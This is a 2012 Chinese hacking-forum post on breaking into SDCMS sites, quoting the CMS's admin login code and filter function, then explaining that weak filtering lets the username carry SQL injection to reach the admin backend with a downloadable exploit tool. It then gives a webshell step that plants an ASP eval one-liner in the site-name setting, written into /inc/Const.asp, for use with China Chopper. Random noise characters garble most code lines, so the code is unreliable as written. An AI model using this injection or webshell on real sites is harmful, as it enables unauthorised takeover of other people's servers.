找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3010|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥1 z( t5 `: y( b9 W
漏洞文件:后台目录/index.asp2 T* {5 B3 N& n: E$ L( ?6 D
* N2 D( g. |' _" G
Sub Check
' P) @, ]/ n5 N& {2 m+ V$ L- s    Dim username,password,code,getcode,Rs& L3 T) H# D0 m' N$ F1 w0 E
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
' [( X/ O- V" ~7 `! m9 J( x    username=FilterText(Trim(Request.Form("username")),1)
. P( J- X1 M) U' y) h6 c0 e# W    password=FilterText(Trim(Request.Form("password")),1)
# V5 J/ r+ x" R) K& A( v5 O    code=Trim(Request.Form("yzm"))) o* O5 }: g# ~
    getcode=Session("SDCMSCode")
- ?: z. ~! `5 V! h4 ]; p, F2 w    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died2 m  o# P0 N' X7 e5 Y$ g# R
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied* p9 Q, K" B! P  x) t
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
# l; n. C; u$ u6 S7 N    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
! R" ^! [8 b2 |- j. r6 a" I    IF username="" or password="" Then
* Z6 B  u4 F/ ~2 ?" u3 A- z+ w        Echo "用户名或密码不能为空"ied
  {  F1 e! c, N    Else
- j6 g0 \! ^; C5 ?0 P        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")0 s; d# ?; K2 r! }
        IF Rs.Eof Then
3 @8 {% t; z  T: Q# T            AddLog username,GetIp,"登录失败",10 N% D' w* j4 b3 r
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
% u  G. z/ c; ]# o% o  u        Else
# W. L, ]( d- }            Add_Cookies "sdcms_id",Rs(0)1 h, K! R" i+ _4 H. [2 d
            Add_Cookies "sdcms_name",username
, v% p1 F, B: n) X' ^7 Z/ j. ^            Add_Cookies "sdcms_pwd",Rs(2)- s  A$ @0 P% \2 ]3 H: a: h2 {
            Add_Cookies "sdcms_admin",Rs(3)& O0 Y/ F0 t3 }8 D7 S! B. U# ^3 z
            Add_Cookies "sdcms_alllever",Rs(4)8 p) z: I2 Q& o! @) U# B0 c% G
            Add_Cookies "sdcms_infolever",Rs(5)
- ]/ k7 p4 M  T/ Q: L$ f            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
  O* J3 P; O( O            AddLog username,GetIp,"登录成功",1
# {" l$ b  R) H. z* O7 A            '自动删除30天前的Log记录
1 k  M4 D  h5 x! w8 I' \! V7 ?            IF Sdcms_DataType Then/ ]* G2 r) G& B( y4 S/ z
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")  d/ E. O4 V, I" d, R* H
            Else( J8 f+ M/ T9 v' ~( N7 F9 i( g, R4 ]
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")  e0 ~8 j( C6 R5 x
            End IF% i. S9 j; _0 n4 m: Y& f2 D* }
            Go("sdcms_index.asp")# [: n) X; j% `+ m$ `
        End IF2 A! |4 u4 Y7 `4 A, Z
        Rs.Close
; `6 g3 p9 s! P; a) F, x2 M        Set Rs=Nothing2 j0 b" \" W' s1 L& n% {7 r' q
    End IF
- d/ Z3 i& f% {8 [( oEnd Sub' k) P2 C( v/ T. e$ p" J

8 P( F  T6 N& c! x  o: X’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码4 A, a: {% ?, I, [* q( [" S

% P* z8 J% s/ _3 I2 N; x6 YFunction FilterText(ByVal t0,ByVal t1)+ w& q. M, F( D* t2 N
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function$ {2 d3 A! u' v4 }2 _7 L$ F% m% C% B
    t0=Trim(t0)+ w8 S" u4 o5 O8 X" e2 h! h) y
    Select Case t1, c* D8 D/ r, O5 N5 ?2 h" s, d
        Case "1"/ q" R; {) i; ~6 y+ ^" x5 M7 u
            t0=Replace(t0,Chr(32),"")
. x2 A$ L- j/ U! ]6 ]            t0=Replace(t0,Chr(13),"")9 A# c9 N, X8 \3 @1 C4 Z4 _
            t0=Replace(t0,Chr(10)&Chr(10),"")
1 @( g$ x0 @- g            t0=Replace(t0,Chr(10),"")
/ z7 o4 r: X0 M+ I% F; I4 p( x% s: ^        Case "2"
+ A/ e1 T! ^3 A7 \- [/ K            t0=Replace(t0,Chr(8),"")'回格
  W  u: Q1 K! T% ?1 t" T            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
7 A6 y, \( c9 f8 E) J4 _            t0=Replace(t0,Chr(10),"")'换行; a  F" f$ c4 O9 E2 t: Z4 w* C; a
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
3 K9 H- k7 O" L+ f5 d            t0=Replace(t0,Chr(12),"")'换页* U$ r. q) w% ?  q5 Y
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
  l( l( h0 b; R" K5 k! g            t0=Replace(t0,Chr(22),"")* M2 |3 _- O1 U3 A5 }
            t0=Replace(t0,Chr(32),"")'空格 SPACE, c% a! f6 _1 B8 L) Z) }; d
            t0=Replace(t0,Chr(33),"")'!
* Q2 |& b/ o5 {+ p            t0=Replace(t0,Chr(34),"")'"  w6 d8 k1 E# m2 h  r
            t0=Replace(t0,Chr(35),"")'#
9 J$ f( v+ W) f" \$ b            t0=Replace(t0,Chr(36),"")'$
" I7 Z# d( E3 \# s" C% @! P) @            t0=Replace(t0,Chr(37),"")'%
' B8 s1 [* U' K6 g            t0=Replace(t0,Chr(38),"")'&
* |6 ]: e. F# Q" L# l7 F: S            t0=Replace(t0,Chr(39),"")''
! @0 q8 N$ l0 r! h4 ^- c            t0=Replace(t0,Chr(40),"")'(
2 c8 S* o( f$ e' S            t0=Replace(t0,Chr(41),"")')
# n: p2 a$ b" \5 z9 \1 {            t0=Replace(t0,Chr(42),"")'*9 n6 w7 u" h+ F9 C
            t0=Replace(t0,Chr(43),"")'+( D1 `$ F& d  Y. J, S
            t0=Replace(t0,Chr(44),"")',, {3 C% t8 D5 J
            t0=Replace(t0,Chr(45),"")'-9 }. Z% ]# Z# ?$ w
            t0=Replace(t0,Chr(46),"")'.
9 I# k4 @5 p, O& o, ^            t0=Replace(t0,Chr(47),"")'/" j- F& P' a+ m- S+ H- E
            t0=Replace(t0,Chr(58),"")':
5 V! R1 P  L+ l            t0=Replace(t0,Chr(59),"")';
2 u" j9 [6 i7 y4 J9 c7 [2 i) A            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
0 Q% c$ n* X8 S" {            t0=Replace(t0,Chr(63),"")'?% r7 W! C& O. R2 [
            t0=Replace(t0,Chr(64),"")'@
5 p8 T1 ^+ P0 ^9 O* v) w' E; p            t0=Replace(t0,Chr(91),"")'\" s' q) S/ D& R: |& Q% W
            t0=Replace(t0,Chr(92),"")'\# X" @' i' a# s. C. B
            t0=Replace(t0,Chr(93),"")']
2 q* B2 C3 Y9 e5 X! E! \* i2 b            t0=Replace(t0,Chr(94),"")'^0 M% w0 T2 f! p6 e9 s( z
            t0=Replace(t0,Chr(95),"")'_0 |- u0 T' w' l4 c) ^2 q4 l6 N
            t0=Replace(t0,Chr(96),"")'`
/ _0 @/ r6 R) y) J            t0=Replace(t0,Chr(123),"")'{
; H7 h  L" l; T            t0=Replace(t0,Chr(124),"")'|* k; U  ]% Y5 Y* n7 @0 ^( D
            t0=Replace(t0,Chr(125),"")'}* O! z# ~! n6 E; }
            t0=Replace(t0,Chr(126),"")'~6 X* q* p4 I( c/ v. \+ ^4 o, D/ D
    Case Else" ]5 W1 b; O8 z
        t0=Replace(t0, "&", "&")
& J  ~( n7 c( G' E1 Q$ B        t0=Replace(t0, "'", "'")& V, b9 z) q: Q: S
        t0=Replace(t0, """", """)
- j/ h5 l" x" ^4 _$ _' p" Z, Y        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
& a6 A9 N, ]1 J    End Select6 |; K. n  p1 k: I
    IF Instr(Lcase(t0),"expression")>0 Then+ n& _' K  X  [6 h$ o1 M2 o
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
. ]1 P, U! U3 S    End If
4 g/ b. Q2 W& a# F6 y  d' F0 x8 h    FilterText=t0
3 T$ e* z0 I! U- D# @End Function
* t1 D. I$ _6 D) Y) s2 ^- C4 h; J% U7 I
看到没。直接参数是1 只过滤7 i; ^* |5 a8 r1 N2 V9 m0 b
                        t0=Replace(t0,Chr(32)," ")
9 P. r7 P9 w3 Q% f% O7 f                        t0=Replace(t0,Chr(13),""): U5 v: a; K+ ?% U: V+ n
                        t0=Replace(t0,Chr(10)&Chr(10),"6 t. x$ ^9 S  `9 }' k
")4 N# K3 ^) n, K" ^
                        t0=Replace(t0,Chr(10),"
0 h  D! C9 O2 B) j5 k, Q" T")
$ }! ~/ i+ i- ]# }: B# P漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
3 C  }. D6 W+ x" H( nEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
& i" u1 \- u9 N; N% @8 |+ R% F4 S4 v  X. P3 u0 {( ^7 L
测试:
/ k- P. C/ |% ^: h( ~# Q5 A/ L$ N6 B5 S0 H0 w; g- V+ Z

( `; x2 L; n7 b7 q5 j; x现在输入工具上验证码,然后点OK
. B/ F( T0 x6 M# y- y- j% Z2 @" O( t' z/ d, D+ L3 _

# k! M$ @1 B0 Y- @看到我们直接进入后台管理界面了,呵呵!/ u$ @8 a6 g" {. ^6 ^& q4 D
7 i: c# s) x% j  W4 ~9 N4 T" R& s

, v% }7 U( L. p, O: G& D
; d0 B" j* ^- V% N5 D1 d这样直接进入后台了。。。。
- ?! I; x/ M. J& r1 {- B5 x. t
2 t5 p7 y7 l' I2 t: i8 N: C 8 [7 n' q3 {. |4 W" ~3 D5 e
' X6 l: N9 D% Q, E
SDCMS提权:6 L0 ~2 A& j5 D* ]; ^$ M
1 m3 |- @9 C1 h: z" j1 \
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?. ~/ @7 F0 M' o( |1 J) K* k. g
! |" y# p) h) X/ i. v3 ~3 L
+ m6 T2 e; N# Y* p* y6 N8 q1 f( ^" z* p
* ~  d( y# a2 V% B! x! g
OK,现在用菜刀连接下!+ ]" }$ m: `$ K! {! P0 A
) X& R; Z4 Z# B! J0 c  O

$ @  J) ]: h! ^+ r! C+ s5 \+ C$ S2 m! D

3 }6 ], _6 m3 K9 q5 B" @" {7 |6 r( i# }' g" z  w7 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表